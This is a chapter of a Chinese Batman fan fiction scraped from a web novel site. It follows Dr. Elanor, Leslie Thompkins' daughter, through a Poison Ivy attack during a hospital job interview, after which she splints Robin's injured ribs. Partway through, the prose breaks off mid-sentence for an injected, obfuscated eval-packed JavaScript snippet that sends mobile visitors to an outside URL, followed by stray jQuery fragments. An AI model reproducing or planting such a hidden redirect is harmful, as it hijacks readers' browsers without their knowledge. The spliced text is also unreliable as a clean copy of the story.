默认冷灰
24号文字
方正启体

2. 推荐信

作者:柑橘鱼本书字数:K更新时间:
    “我会给你写一封推荐信,埃拉诺。”


    “哦,太棒了,妈妈,虽然我确信自己一定会收到哥谭综合医院的offer,但是我不会介意多一份推荐信的。”


    “不,是给布鲁斯·韦恩先生。”


    ……


    韦恩集团旗下有医院,埃拉诺知道的。但推荐信直接写给集团的董事长,这种事埃拉诺闻所未闻。


    “不过看到推荐信的人,肯定会是阿尔弗雷德·潘尼沃斯先生。”


    莱斯利医生说。


    “潘尼沃斯先生不是韦恩的管家吗?为什么会是潘尼沃斯先生看推荐信。”


    埃拉诺有点不明白,管家应该不会处理韦恩集团的事务。


    “因为我要把你推荐给韦恩先生做家庭医生,埃拉诺。”


    韦恩的家庭医生。


    埃拉诺感到一阵轻微的眩晕。她首先想到的是,给布鲁斯·韦恩当家庭医生,会有一笔巨额薪酬。


    再加上布鲁斯·韦恩热爱极限运动的名声,韦恩的家庭医生大多数时间应该是没有什么工作的,以他热爱运动的程度和平时在新闻上展现出的面色和体态,平时不会得什么小病。


    哦,倒不是说布鲁斯·韦恩会有什么大病——


    但显而易见,家庭医生处理不了滑雪导致的多处骨折,家庭医生处理不了冲浪造成的脊髓损伤,家庭医生——


    处理不了任何极限运动造成的损伤。


    甚至见不到韦恩的面,会有直升机把韦恩拉到医院去的。


    埃拉诺想。


    她从来没有在新闻上看到过布鲁斯·韦恩的家庭医生陪着他在全球飞来飞去做极限运动,也就是说,韦恩的家庭医生是常驻哥谭的,自己会有更多的空余时间负责诊所。


    也就是说,布鲁斯·韦恩的家庭医生,是一份又轻松,又高薪的完美工作。


    太完美了总是令人心生怀疑。埃拉诺花了整整三秒钟来消化“韦恩的家庭医生”这个信息。她有十足的把握拿到哥谭综合医院的Offer,但没有十足的把握拿到韦恩的Offer。


    而聪明人总是会准备PlanA,PlanB,PlanC……


    到不了Z,哥谭没有那么多埃拉诺觉得合适的医院,也没有太多富豪请的起斯坦福的医学博士做家庭医生。


    埃拉诺默默调整了工作的优先级排序,她把“韦恩的家庭医生”排到第一位,把“哥谭综合医院”和其他医院的面试依次往下降了一位。


    阿尔弗雷德·潘尼沃斯先生的面试在下周二下午两点,在此之前,埃拉诺还要去哥谭综合医院的面试,也就是她的第二优选。


    如果潘尼沃斯先生做决定做的快一点,她就可以决定不去周三另外一家医院的面试了。但无论如何,周一哥谭综合医院的面试都是要去的。


    啊,哥谭。


    啊,我的家乡。


    一周的时间转瞬即逝,埃拉诺主要在温习康复医学和儿科学,一个外科医生不是家庭医生的最好选择,韦恩有孩子,很多个孩子,男孩们和女孩们,虽然有一半已经成年,但还有一半是未成年。


    未成年的一半需要儿科。


    比如韦恩的小儿子达米安·韦恩。


    至于说康复医学,埃拉诺确信,布鲁斯·韦恩作为哥谭首富,在他热爱极限运动的同时会聘请优良的康复团队,但这不代表自己一个家庭医生就可以只知道切切切了。


    老实说,埃拉诺觉得自己大概不会有太多机会在韦恩先生动刀子。


    这些准备全都是为了周二下午在韦恩庄园的面试,面试官是韦恩的管家潘尼沃斯先生。


    不是为了周一下午在哥谭综合医院行政楼的面试。


    就目前的情况来看,自己恐怕是走不出去了。虽然走廊里还是一片岁月静好的样子,还有一点哥谭少见的夕阳,光洁的地板上拖出来斜斜的人影。


    分别属于埃拉诺和刚刚走出来的面试官们。


    因为他们全都听见全院广播很尽职尽责地喊了一声——只有一声。


    “住院部一楼发生代码999!代码999!”


    代码999是超级罪犯袭击。


    至于具体是哪一个就不知道了。


    如果直接全院广播“小丑袭击”“稻草人袭击”“毒藤女袭击”,那会引起恐慌的。


    而代码999就好得多,安全简洁,起码广播员有时间把999喊出来再被超级罪犯抓走。


    “听起来广播室已经被某个疯子控制了。”


    埃拉诺转头,面试她的总共有三个人,一位主管人事的副院长,一位是外科的主任,还有一位是董事成员,就这一句广播的功夫,除了那位外科主任,都已经从不知道哪一个通道跑走了。


    “跑得可真快,”埃拉诺对那位医生感慨了一下,“我还想没机会跑出去了呢。看起来,院长先生和董事先生足以确保自己的安全。”


    999是哥谭各大公共场所的通用代码,哥谭综合医院也不例外,999不是危重病例,是超级罪犯袭击。显而易见,另外两位的面试官对999同样熟悉,熟悉到听见的第一反应就跑了——即使门诊楼离行政楼有相当一段距离。


    埃拉诺跑到转角,找到消防器材箱,打开柜门,先给自己拿了个防毒面具戴上,再把另外一个丢个后面的医生。


    真不赖。


    他居然现在还没有跑。


    “嘿,医生,戴上防毒面具,鬼知道一会是不是会有笑气恐惧毒气或者鬼知道是什么玩意从鬼知道哪一个缝隙里冒出来——”


    没听见防毒面具落地的声音,这代表外科主任接住了它。埃拉诺麻利地弯腰把消防斧拣出来。


    防身用。


    “传呼机带了吗?呼叫你科室里的医生,确认他们是否安好,你是主任,你应该负起责任来。”


    一直没听见后面的动静,埃拉诺不得不自己出声提醒外科主任。


    肾上腺素会让时间感变慢。她瞟一眼电子表,距离听见广播才过了一分钟。


    再次转身。


    埃拉诺脸上戴着防毒面具,手里提着消防斧,她觉得自己已经可以冲进住院部和其他医护一起疏散和保护病人了。


    “我的儿子。”


    终于,埃拉诺听见了外科主任的声音。


    “什么?”


    “我的儿子在住院部,我要去找他。”


    ——在危急关头跑去超级罪犯占领的住院部找自己的儿子


    ——我们是在拍电影吗?


    哦,不是电影。


    不过埃拉诺本来也打算去住院部,就算她不会成为哥谭综合医院的医生,但作为一名恰好在场的医生,也该去协助本院医护的。


    “很好,我本来也打算去的,但我想你应该随身带院内传呼机的,听我说,呼叫你的住院总——呼叫住院——”


    忽然,埃拉诺意识到一个问题。


    外科主任没有儿子。


    在面试之前她就知道面试官分别是谁,并且对他们做了背景调查。


    据公开资料,这位外科主任没有儿子。他没有儿子,只有一个女儿。


    “呼叫你的住院总,”埃拉诺把这句话补全,“我想,有了今天这次999,哥谭综合医院上下不会有一个不同意给我发offer的。”


    她甚至开了个玩笑。


    不过,这倒也不完全是玩笑。面试者在超级罪犯袭击时不仅没跑,还和本院医生一起去协助工作,真的,这个Offer稳了。


    但要是收到了韦恩的offer,她就会毫不犹豫地舍弃哥谭综合医院的。


    前提是自己能在这次袭击活下来。


    埃拉诺很乐观,即使她已经发现外科主任不对劲,还是很乐观。


    850万人口,每年200人左右遇害。


    赞美蝙蝠侠。


    这个死亡率很低了,埃拉诺之前在波特兰工作,那边的谋杀率不比哥谭低多少,而纽约那样的城市的犯罪率已经超过哥谭了。


    就算是外科主任是泥脸扮演的,自己死亡的可能性还是很低的。


    埃拉诺向来乐观。


    她已经能确定外科主任是假的了。


    但依然很乐观。


    即使走廊尽头那扇采光优美的落地窗——本该映照着哥谭罕见夕阳的——轰然炸裂,也一样乐观。


    因为进来的除了某种巨大蛮横的藤蔓以外,还有一道红、黄、绿相间的敏捷身影。


    罗宾。


    武士刀从外科主任的侧肩没入,肋下划出。


    没有血,只有藤蔓,藤蔓,藤蔓。然后绿色的藤蔓扭曲挣扎,眼见就要重新长出来被罗宾削掉的头颅。


    植物人。


    埃拉诺瞬间明白了。她再次检查了一下防毒面具,然后找了一个墙角,蹲下。


    万一这栋楼塌了,墙角处相对安全。


    是毒藤女的手笔。


    战斗在狭窄的走廊里爆发,速度快得令人眼花缭乱。罗宾的格斗技巧精湛,身形灵活,但植物人的力量显然更胜一筹,而且不知疼痛,藤蔓手臂可刚可柔,攻击角度刁钻。


    它完全无视了旁边的埃拉诺,所有攻击都集中在罗宾身上。


    埃拉诺紧贴着墙,消防斧横在胸前。


    加入战斗是送死,还可能干扰罗宾。


    植物人看起来智商不高的样子,但埃拉诺没有自大到觉得自己能对付得了。


    所以,跑。


    至少要留出来足够的空间,不能让植物人一把就把自己捞过去当人质。这个假外科主任有罗宾对付,而住院部的代码999需要医生——真正的医生。


    已知外科主任是毒藤女替换过的植物人。


    毒藤女在住院部。


    外科主任不在住院部。


    外科主任在事发后的第一反应是前往住院部。


    外科主任不是唯一一个植物人。在住院部,必定存在其他被替换成植物人的医护。


    也就是说,住院部需要真正的医生。


    埃拉诺的大脑刚完成那串闪电般的推理,身体已准备向行政楼深处撤离——去更安全的地方,然后想办法绕向住院部。


    但战局比她预想的结束得更快。


    就在她脚尖转向的刹那,走廊里那道红绿黄交织的旋风做出了最后的终结。罗宾给植物人注射了什么东西——也许是某种蝙蝠除草剂,总


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153949|196492||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之,植物人的动作瞬间僵直,构成它躯体的藤蔓如同失去提线的木偶,哗啦一声散落在地,迅速干瘪枯萎,只剩下一堆散发着奇异甜腥气的有机物残骸。


    罗宾落地,姿势依旧矫健。左手按在了自己右肋下方。


    呼吸的节奏有一两秒的紊乱,然后他挪开手,举起勾爪枪,似乎打算从那个被他撞破的窗户缺口离开,动作依旧流畅。


    但埃拉诺看出来不对劲了。


    “等等!”


    脱口而出的瞬间,埃拉诺就意识到这有点冒险。


    但她还是往前踏了一步,防毒面具后的声音有些发闷,却足够清晰:“你的肋骨受伤了,右侧第4或第5肋?可能有轻微气胸,你呼吸时左侧和右侧胸廓起伏不对称。”


    罗宾的动作停住了。


    多米诺面具转向她,看不清表情。


    “与你无关,医生。”


    罗宾的变声器换了。


    这不是埃拉诺十多年前听到的那个声音。


    但依然年轻。


    “离开这里,找个安全的地方待着。”


    罗宾说。


    “我是医生,而你受伤了。” 埃拉诺没有退缩,甚至又小心地靠近了小半步,把消防斧扔在脚下,举起来双手,“气胸如果加重,会影响你的活动能力,尤其是在这种……需要大量运动的时候。两分钟,我只做最基础的触诊和固定,确保你能安全离开这里,不会在半路因为呼吸问题从楼顶上掉下去。”


    “设备?” 罗宾嗤笑一声,那声音里的少年气终于压过了故作的低沉,“用你的消防斧给我做胸腔闭式引流吗,医生?”


    讽刺意味十足,但他没有立刻离开。


    埃拉诺指向他腰间那条标志性的黄色腰带:“罗宾的万能腰带。如果它连氪石和勾爪枪都能装下,我不信里面会没有一条肋骨固定带,一卷医用胶布,或者至少是能临时充当固定用的弹性绷带。你需要的是限制患侧胸廓活动,防止骨折端移位刺得更深。”


    沉默在弥漫着植物腐烂气和灰尘的走廊里延伸了大约三秒。


    终于,罗宾——这一任的罗宾,比埃拉诺认识的罗宾要矮一点的罗宾——嘁了一声,单手从腰带上的一个暗格里,抽出来一卷灰黑色的高强度自粘弹性绷带,质地看起来远超普通医用产品。


    “我知道如何处置。” 他强调,语气硬邦邦的,“我可以离开后自己处理。”


    “当然,” 埃拉诺迅速接话,语气平和但不容置疑,“但自己固定很难达到最佳效果,尤其是在你另一只手也可能需要用力的情况下。让我帮忙,这是效率最高的选择。你可以全程监督,觉得不对随时叫停。”


    她顿了顿,补充了自认为最具说服力的一点:“莱斯利·汤普金斯医生是我的母亲。我知道规矩。虽然我戴着防毒面具,但我相信以罗宾的敏锐,认得出来我。”


    到目前为止,单是对话就占用了一分钟时间。


    “两分钟,” 罗宾最终让步,声音依旧紧绷,“只做触诊和固定。不许用任何你自己的东西。”


    “成交。”


    埃拉诺立刻上前,动作迅速而专业。她隔着罗宾那件坚韧的制服,手指轻轻按在他指示的肋区。


    触诊需要力度,但她控制得恰到好处,寻找骨擦感和异常痛点。罗宾的身体在她触碰时僵硬了一瞬,但很快强迫自己放松下来,只有紧抿的嘴唇显露出他的不适和高度戒备。


    “骨擦感不明显,应该是骨裂或不全骨折。气胸体征很轻微,但确实存在。” 她快速判断,“固定可以大幅降低风险。吸气——稍微深一点——好,停在这个位置。”


    她接过那卷特殊的绷带,从罗宾腋下开始,以螺旋重叠的方式向上缠绕。她的手指灵巧,力度均匀,既确保固定有效,又避免过度压迫影响呼吸。整个过程,罗宾的目光始终锁定在她的手和脸上,仿佛在评估一场精密手术的每一个步骤。


    虽然这不是精密手术,只是很简单的固定包扎。


    “你处理外伤很熟练。”


    他忽然说,陈述多于疑问。


    ……


    太愚蠢了。


    埃拉诺不相信罗宾没有对自己做过调查。


    “我曾经是切尔西综合医院创伤中心的主治医师之一。”


    处理外伤当然熟练了。


    她就是外科医生啊外科医生啊,这是什么废话。


    有一瞬间,埃拉诺真想说一句激怒罗宾的话。


    ——你比我认识的上个罗宾好像矮一点。


    但埃拉诺的专业素养只是让她在绷带固定完毕后检查了一下松紧度,又示意罗宾做了几个小幅度的转身和抬臂动作,然后以同样专业的语气问他“感觉如何?呼吸有没有改善或更困难?”


    罗宾仔细感受了一下,点了点头。“可以。”


    他随即后退一步,拉开了安全距离,重新恢复了那种蓄势待发的姿态,仿佛刚才短暂的医疗介入从未发生。


    “够了。离开这里,医生。”


    “我知道,” 埃拉诺也退后,捡起了地上的消防斧,再抬头,罗宾无声无息地消失了。她只能透过玻璃的破洞看到黄色的披风越来越远。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)